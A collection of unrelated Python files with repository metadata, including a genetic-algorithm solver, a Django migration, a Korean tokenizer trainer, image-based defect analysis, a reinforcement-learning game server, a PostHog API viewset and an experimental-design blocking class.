-> None: """ Population evolving process """ pass def get_best_chromosome(self) -> Chromosome: return min(self.chromosome_list, key=lambda x: x.fitness) def calc_rolling_wheel_prob(self): """ Calculate inverted related fitness for minimization task :return: """ _sum = sum([1 / chrom.fitness for chrom in self.chromosome_list]) probs = [(1 / chrom.fitness) / _sum for chrom in self.chromosome_list] return probs def select_n_chromosomes(self, n: int) -> List[Chromosome]: selected_index = np.random.choice(len(self.chromosome_list), n, p=self.rolling_wheel_prob) return [self.chromosome_list[i] for i in selected_index] class GeneticAlgorithmSolver: def __init__(self, _problem: Problem): self.problem = _problem self.population_size = 100 self.selection_size = int(self.population_size * 0.3) self.population = self.generate_initial_population() def generate_initial_population(self) -> Population: _chromo_list = set() genome = list(range(self.problem.problem_size)) while len(_chromo_list) != self.population_size: # for _ in range(self.population_size): _chromo_list.add(Chromosome(deepcopy(genome), self.problem)) random.shuffle(genome) return Population(list(_chromo_list), self.problem) def selection(self, population: Population) -> List[Chromosome]: """ Rolling wheel selection :param population: :return: """ return population.select_n_chromosomes(self.selection_size) def ordered_crossover(self, chrom_1: Chromosome, chrom_2: Chromosome) -> Chromosome: _ub = len(chrom_1.genome) - 1 start_index = np.random.randint(0, _ub) end_index = start_index + np.random.randint(1, _ub - start_index + 1) alpha_genome = chrom_1.genome[start_index:end_index] beta_genome = [gen for gen in chrom_2.genome if gen not in alpha_genome] resulted_genome = beta_genome[:start_index] + alpha_genome + beta_genome[start_index:] return Chromosome(resulted_genome, self.problem) def reproduction(self, parents: List[Chromosome], n: int) -> List[Chromosome]: pairs_universe: List[(Chromosome, Chromosome)] = [(ch_1, ch_2) for ch_1 in parents for ch_2 in parents if ch_1 != ch_2] # pair_sample = [pairs_universe[i] for i in # ] child_list = set() # for parent_1, parent_2 in pair_sample: while len(child_list) != n: parent_1, parent_2 = pairs_universe[ np.random.choice(len(pairs_universe), n, p=[1 / len(pairs_universe)] * len(pairs_universe))[0]] child_list.add(self.ordered_crossover(parent_1, parent_2)) return list(child_list) def solve(self) -> Chromosome: current_best: Chromosome = self.population.get_best_chromosome() # t = trange(100, desc='Solving') for _ in range(25000): # avg_fitness = np.average([it.fitness for it in self.population.chromosome_list]) # t.set_description('Solving (avg fitness=%g)' % avg_fitness) parents = self.selection(self.population) childes = self.reproduction(parents, self.population_size - self.selection_size) self.population = self.mutation(childes, parents) cand_best: Chromosome = self.population.get_best_chromosome() if cand_best.fitness < current_best.fitness: current_best = cand_best # print('Best update: {0}'.format(current_best.fitness)) return current_best def mutation(self, _childes: List[Chromosome], _parents: List[Chromosome]): def _mutate(_chromosome: Chromosome) -> Chromosome: def _swap(_chromosome, a_ind, b_ind) -> Chromosome: _genome = _chromosome.genome _genome[a_ind], _genome[b_ind] = _genome[b_ind], _genome[a_ind] return Chromosome(_genome, self.problem) def _scramble(_chromosome, a_ind, b_ind) -> Chromosome: _genome = _chromosome.genome _buff = deepcopy(_genome[a_ind:b_ind]) random.shuffle(_buff) _genome[a_ind:b_ind] = _buff return Chromosome(_genome, self.problem) _ub = len(_chromosome.genome) - 1 start_index = np.random.randint(0, _ub) end_index = start_index + np.random.randint(1, _ub - start_index + 1) if random.uniform(0, 1) > 0.5: return _swap(_chromosome, start_index, end_index) else: return _scramble(_chromosome, start_index, end_index) unmutated_population = _childes + _parents threshold = random.uniform(1 / self.population_size, 1 / self.problem.problem_size) resulted_population = [] for chromosome in unmutated_population: if random.uniform(0, 1) > threshold: resulted_population.append(chromosome) else: resulted_population.append(_mutate(chromosome)) return Population(resulted_population, self.problem) def main(path): problem_name = path.split("/")[-1].split(".")[0] tai_problem = Problem(path) genetic_solver = GeneticAlgorithmSolver(tai_problem) solution = genetic_solver.solve() result_dict = json.load(open("../data/best_results.json")) if result_dict[problem_name] > solution.fitness or result_dict[problem_name] == 0: solution.persist(os.path.dirname(path), problem_name + ".sol") print("Improvement in {0} problem!".format(problem_name)) result_dict[problem_name] = int(solution.fitness) print("Problem {0} finished!".format(problem_name)) json.dump(result_dict, open("../data/best_results.json", 'w'), indent=2) if __name__ == "__main__": root_dir = '../data' problem_path_list = [os.path.join(root_dir, it) for it in os.listdir(root_dir) if not (it.endswith(".json") or it.endswith(".sol"))] * 10 with Pool(processes=4) as pool: for res in pool.imap_unordered(main, problem_path_list): pass

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# Generated by Django 2.0.4 on 2018-05-14 17:03 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('rides_handling', '0018_auto_20180512_0937'), ] operations = [ migrations.AddField( model_name='ride', name='estimated_trip_time', field=models.DecimalField(decimal_places=6, default=0, max_digits=9), preserve_default=False, ), migrations.AlterField( model_name='ride', name='driver', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='driver', to='rides_handling.Profile'), ), ]

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import os import re import sys import argparse from tqdm import tqdm from nltk.tokenize import sent_tokenize from konlpy.tag import Mecab def train(args) : sys.path.append('../') from tokenizer import write_data, train_spm from loader import get_data, preprocess_data from preprocessor import SenPreprocessor print('Get Newspaper Data') data = get_data(args.data_dir, args.file_size) print('Extract Text Data') text_data = [] for json_data in tqdm(data) : text_list = preprocess_data(json_data) text_data.extend(text_list) print('Tokenizing Data') sen_data = [] for text in tqdm(text_data) : sen_list = sent_tokenize(text) sen_data.extend(sen_list) print('Size of Sentence Data : %d \n' %len(sen_data)) print('Preprocessing Data') mecab = Mecab() sen_preprocessor = SenPreprocessor(mecab) sen_preprocessed = [] for sen in tqdm(sen_data) : if len(sen) > args.max_size : continue sen = sen_preprocessor(sen) if sen != None : sen_preprocessed.append(sen) print('Write Text Data') text_path = os.path.join(args.tokenizer_dir, 'kor_newspaper.txt') write_data(sen_preprocessed, text_path) print('Train Tokenizer') train_spm(text_path, os.path.join(args.tokenizer_dir, 'tokenizer'), args.token_size) if __name__ == '__main__' : parser = argparse.ArgumentParser() parser.add_argument('--data_dir', type=str, default='../../Data', help='Korean Newspaper Data directory') parser.add_argument('--max_size', type=int, default=256, help='max length of sentence') parser.add_argument('--file_size', type=int, default=30, help='size of newspaper file') parser.add_argument('--tokenizer_dir', type=str, default='./', help='File Writing Directory') parser.add_argument('--token_size', type=int, default=35000, help='Token Size (default: 35000)') args = parser.parse_args() train(args)

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jrr1984/defects_analysis

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from skimage.filters import threshold_yen,threshold_isodata from skimage import io,measure,img_as_float,morphology from skimage.measure import regionprops_table from skimage.color import label2rgb import numpy as np from scipy import ndimage import matplotlib.pyplot as plt from matplotlib_scalebar.scalebar import ScaleBar import pandas as pd import glob import time start_time = time.time() pixels_to_microns = 0.586 proplist = ['equivalent_diameter','area'] path = "C:/Users/juanr/Documents/mediciones_ZEISS/TILING/NIR/norm/*.tif" data= [] holes_data = [] i=0 for file in glob.glob(path): img = io.imread(file) img = img_as_float(img) thresh = threshold_yen(img) binary = img <= thresh binary_var = img <= (thresh - 0.1*thresh) masked_binary = ndimage.binary_fill_holes(binary) masked_binary_var = ndimage.binary_fill_holes(binary_var) hols = masked_binary.astype(int) - binary hols_var = masked_binary_var.astype(int) - binary_var lab = measure.label(hols,connectivity=2) lab_var = measure.label(hols_var, connectivity=2) cleaned_holes = morphology.remove_small_objects(lab, connectivity=2) cleaned_holes_var = morphology.remove_small_objects(lab_var, connectivity=2) label_image = measure.label(masked_binary,connectivity=2) label_image_var = measure.label(masked_binary_var, connectivity=2) label_final = morphology.remove_small_objects(label_image, min_size=15) label_final_var = morphology.remove_small_objects(label_image_var, min_size=15) if label_final.any()!=0 and label_final_var.any() !=0: props = regionprops_table(label_final, intensity_image=img, properties=proplist) props_var = regionprops_table(label_final_var, intensity_image=img, properties=proplist) props_df = pd.DataFrame(props) props_df_var = pd.DataFrame(props_var) props_df['error_diameter'] = abs(round((props_df['equivalent_diameter'] - props_df_var['equivalent_diameter'])*pixels_to_microns)) props_df['error_area'] = abs(round((props_df['area'] - props_df_var['area']) * pixels_to_microns ** 2)) props_df['img'] = i data.append(props_df) print('defects_df') print(props_df) print('error') print(props_df['error_diameter']) if cleaned_holes.any()!= 0 and cleaned_holes_var.any() != 0: props_holes = regionprops_table(cleaned_holes, intensity_image=img, properties=proplist) props_holes_var = regionprops_table(cleaned_holes_var, intensity_image=img, properties=proplist) holes_df = pd.DataFrame(props_holes) holes_df_var = pd.DataFrame(props_holes_var) holes_df['error_diameter'] = abs(round((holes_df['equivalent_diameter'] - holes_df_var['equivalent_diameter'])*pixels_to_microns)) holes_df['error_area'] = abs(round((holes_df['area'] - holes_df_var['area']) * pixels_to_microns**2)) holes_df['img'] = i holes_data.append(holes_df) print('holes_df') print(holes_df) print('error holes') print(holes_df['error_diameter']) print(file, i) i += 1 df = pd.concat(data) df['equivalent_diameter'] = round(df['equivalent_diameter'] * pixels_to_microns) df['area'] = round(df['area'] * pixels_to_microns **2) df.to_pickle("C:/Users/juanr/Documents/data_mediciones/defects/defectsNIR_df.pkl") holes_df = pd.concat(holes_data) holes_df['equivalent_diameter'] = round(holes_df['equivalent_diameter'] * pixels_to_microns) holes_df['area'] = round(holes_df['area'] * pixels_to_microns **2) holes_df.to_pickle("C:/Users/juanr/Documents/data_mediciones/defects/defectsholesNIR_df.pkl") print("--- %s minutes ---" % ((time.time() - start_time)/60))

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import make_decision as make_d import pylogging as IC20log import tensorflow as tf import numpy as np import time import os from bottle import post, request, run, BaseRequest from keras.utils import to_categorical from drl_agent.DQN import DQNAgent from create_training_data import * from random import randint from game_state import * from PIL import Image init_action = None state_init1 = None state_init2 = None state_old = None counter_games = 0 game_state = game_state() agent = DQNAgent() def reward_function(game): if game["round"] == 1: return 0 if game["outcome"] == 'pending': return 1 # + game["population_reduction"] * 3 elif game["outcome"] == 'win': return 20 elif game["outcome"] == 'loss': return -20 def init_game(game): global state_init1 state_init1 = game action = [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0] # init action without changes or moves return action def init_game_next(game_json, game, action): global state_init1 global state_init2 state_init2 = game reward1 = reward_function(game_json) done = None if reward1 == 20 or reward1 == -20: done = True else: done = False agent.remember(state_init1, action, reward1, done) @post("/") def index(): global init_action global counter_games global state_old game = request.json print(f'-----------------------> round: {game["round"]}, outcome: {game["outcome"]}') game_state.update_state(game) if game is not None: state = create_save_TD(game_state) try: if game["round"] == 1: init_action = init_game(state) init_action = {"type": "endRound"} return init_action if game["round"] == 2: init_action_next = init_game_next(game, state, init_action) # TODO here comes the answer from the agent except Exception as e: IC20log.getLogger("Index").error(str(e)) # print(f"this is the action: {action}") agent.epsilon = 80 - counter_games try: state_old = np.hstack(state) # how to safe the old state after the call of the method? # perform random actions based on agent.epsilon, or choose the action if randint(0, 200) < agent.epsilon: final_move = to_categorical(randint(0, 11), num_classes=12) print(f"final_move based random: {final_move}") else: # predict action based on the old state state_old = np.hstack(state) prediction = agent.model.predict(state_old.reshape((1, 4450))) final_move = to_categorical(np.argmax(prediction[0]), num_classes=12) print(f"final_move based prediction: {final_move}") # perform new move and get new state state_new = np.hstack(state) # set reward for the new state reward = reward_function(game) except Exception as e: IC20log.getLogger("Index").error(str(e)) done = None if reward == 20 or reward == -20: done = True else: done = False # store the new data into a long term memory agent.remember(state_old, final_move, reward, done) if game["outcome"] == 'loss' or game["outcome"] == 'win': counter_games += 1 elif game["outcome"] == 'win': img = Image.open('./data/hiclipart.png') img.show() # saving the trained model if counter_games == 20: agent.model.save_weights('weights.hdf5') counter_games += 1 print(f"counter_games: {counter_games}") action = make_d.Action.create_Action(game_state, final_move) return action if __name__ == '__main__': port = 50123 # Workaround for the current problem of incopability to work with CUDA and TF -> using CPU this way in code # os.environ['CUDA_VISIBLE_DEVICES'] = '-1' os.environ['CUDA_VISIBLE_DEVICES'] = '' if tf.test.gpu_device_name(): print('[DEBUG] GPU found') else: print("[DEBUG] No GPU found") # till here Workaround IC20log.getLogger("Server Main").info("starting server at Port %s" % port ) BaseRequest.MEMFILE_MAX = 10 * 1024 * 1024 run(host="0.0.0.0", port=port, quiet=True)

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from posthog.models import Event, Team, Person, PersonDistinctId from rest_framework import serializers, viewsets, response, request from rest_framework.decorators import action from django.db.models import Q, Prefetch, QuerySet, Subquery, OuterRef from .event import EventSerializer from typing import Union from .base import CursorPagination class PersonSerializer(serializers.HyperlinkedModelSerializer): last_event = serializers.SerializerMethodField() name = serializers.SerializerMethodField() class Meta: model = Person fields = ['id', 'name', 'distinct_ids', 'properties', 'last_event', 'created_at'] def get_last_event(self, person: Person) -> Union[dict, None]: if not self.context['request'].GET.get('include_last_event'): return None last_event = Event.objects.filter(team_id=person.team_id, distinct_id__in=person.distinct_ids).order_by('-timestamp').first() if last_event: return {'timestamp': last_event.timestamp} else: return None def get_name(self, person: Person) -> str: if person.properties.get('email'): return person.properties['email'] if len(person.distinct_ids) > 0: return person.distinct_ids[-1] return person.pk class PersonViewSet(viewsets.ModelViewSet): queryset = Person.objects.all() serializer_class = PersonSerializer pagination_class = CursorPagination def _filter_request(self, request: request.Request, queryset: QuerySet) -> QuerySet: if request.GET.get('id'): people = request.GET['id'].split(',') queryset = queryset.filter(id__in=people) if request.GET.get('search'): parts = request.GET['search'].split(' ') contains = [] for part in parts: if ':' in part: queryset = queryset.filter(properties__has_key=part.split(':')[1]) else: contains.append(part) queryset = queryset.filter(properties__icontains=' '.join(contains)) queryset = queryset.prefetch_related(Prefetch('persondistinctid_set', to_attr='distinct_ids_cache')) return queryset def get_queryset(self): queryset = super().get_queryset() team = self.request.user.team_set.get() queryset = queryset.filter(team=team) queryset = self._filter_request(self.request, queryset) return queryset.order_by('-id') @action(methods=['GET'], detail=False) def by_distinct_id(self, request): person = self.get_queryset().get(persondistinctid__distinct_id=str(request.GET['distinct_id'])) return response.Response(PersonSerializer(person, context={'request': request}).data)

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from gPhoton.gAperture import gAperture def main(): gAperture(band="NUV", skypos=[200.185083,5.983667], stepsz=30., csvfile="/data2/fleming/GPHOTON_OUTPU/LIGHTCURVES/sdBs/sdB_pg_1318+062/sdB_pg_1318+062_lc.csv", maxgap=1000., overwrite=True, radius=0.00555556, annulus=[0.005972227,0.0103888972], verbose=3) if __name__ == "__main__": main()

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import sys import unittest from PyQt4 import QtGui, QtCore from FlatCAMApp import App from VisPyPatches import apply_patches import random import logging class VisPyPlotCase(unittest.TestCase): """ This is a top-level test covering the Gerber-to-GCode generation workflow. THIS IS A REQUIRED TEST FOR ANY UPDATES. """ filenames = ['test', 'test1', 'test2', 'test3', 'test4'] def setUp(self): self.app = QtGui.QApplication(sys.argv) apply_patches() # Create App, keep app defaults (do not load # user-defined defaults). self.fc = App() self.fc.log.setLevel(logging.ERROR) def tearDown(self): del self.fc del self.app def test_flow(self): for i in range(100): print "Test #", i + 1 # Open test project self.fc.open_project('tests/project_files/' + self.filenames[random.randint(0, len(self.filenames) - 1)]) print "Project", self.fc.project_filename # Wait for project loaded and plotted while True: self.sleep(500) if self.fc.proc_container.view.text.text() == 'Idle.' or self.fc.ui.isHidden(): break # Interrupt on window close if self.fc.ui.isHidden(): break # Create new project and wait for a random time self.fc.on_file_new() self.sleep(random.randint(100, 1000)) def sleep(self, time): timer = QtCore.QTimer() el = QtCore.QEventLoop() timer.singleShot(time, el, QtCore.SLOT("quit()")) el.exec_()

[ "denis_vic@mail.ru" ]

denis_vic@mail.ru

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2f98aa7e5bfc2fc5ef25e4d5cfa1d7802e3a7fae

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AK-1121/code_extraction

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refs/heads/master

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2015-10-22T19:19:40

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false

69

py

# Why int() argument must be a string or a number, not 'list'? PForm

[ "ubuntu@ip-172-31-7-228.us-west-2.compute.internal" ]

ubuntu@ip-172-31-7-228.us-west-2.compute.internal

76063ba8a654410eb9a78179fbe0b90a12bb85ad

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/module_3/tasks/re_1.py

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[]

no_license

egolov/stepic-python

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import re # вхождение 'cat' более двух раз pattern_1 = r".*cat.*cat" pattern_2 = r"cat" print(re.match(pattern_1, "abc cat and cat abc")) # is not None print(re.findall(pattern_2, "abc cat and cat abc")) # len() > 1

[ "e-golov@yandex-team.ru" ]

e-golov@yandex-team.ru

f6d5899459cd4b1b222d2d880badb5acd97d8ffb

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/design/optblock.py

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[ "MIT" ]

permissive

raddanki/softblock

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refs/heads/master

2023-04-05T03:08:00.549190

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#! /usr/bin/python3 from sklearn.neighbors import DistanceMetric import numpy as np from .nbpMatch import nbpwrap from .design import Design class OptBlock(Design): def __init__(self, treatment_prob: float = 0.5): self.treatment_prob = treatment_prob super(OptBlock, self).__init__() def fit(self, X: np.ndarray, distance="mahalanobis") -> None: N = X.shape[0] if N % 2 == 1: idx_ignore = np.random.choice(N, 1).item() else: idx_ignore = None self.X = X if distance == "mahalanobis": inv_cov = np.linalg.pinv(np.cov(X, rowvar=False)) dist_maker = DistanceMetric.get_metric("mahalanobis", VI=inv_cov) elif distance == "euclidean": dist_maker = DistanceMetric.get_metric("euclidean") else: raise NotImplementedError( "Only Mahalanobis and Euclidean distance are implemented." ) distances = dist_maker.pairwise(X) if idx_ignore is not None: dist_ignore = distances[idx_ignore, :] dist_ignore[idx_ignore] = np.inf idx_nn = np.argmin(dist_ignore) distances = np.delete(np.delete(distances, idx_ignore, 0), idx_ignore, 1) n_to_pass = N if idx_ignore is None else N - 1 self.matches = nbpwrap(wt=distances.T.reshape(-1), n=n_to_pass) # nbpwrap indexes from 1. self.matches = self.matches - 1 blocks = {tuple(sorted(x)) for x in enumerate(self.matches)} self.blocks = [list(block) for block in blocks] self.block_membership = np.array([-1] * N) for block_id, block in enumerate(blocks): for member_idx, member in enumerate(block): if idx_ignore is not None: if member == idx_nn: self.blocks[block_id].append(idx_ignore) self.block_membership[idx_ignore] = block_id if member >= idx_ignore: self.block_membership[member+1] = block_id self.blocks[block_id][member_idx] = member + 1 else: self.block_membership[member] = block_id def assign(self, X: np.ndarray) -> np.ndarray: if X is None: X = self.X elif X is self.X: pass else: raise ValueError("Can't go out of sample here.") N = X.shape[0] A = np.array([0] * N) for block in self.blocks: M = len(block) En_trt = M * self.treatment_prob n_trt = int(max(1, np.floor(En_trt))) n_ctl = int(max(1, np.floor(M - En_trt))) n_extra = int(np.floor(M - n_trt - n_ctl)) a_extra = int(np.random.choice([0, 1], 1).item()) n_trt += a_extra * n_extra trted = np.random.choice(M, n_trt, replace=False) for unit in trted: A[block[unit]] = 1 return A

[ "arbour@Davids-MacBook-Pro.local" ]

arbour@Davids-MacBook-Pro.local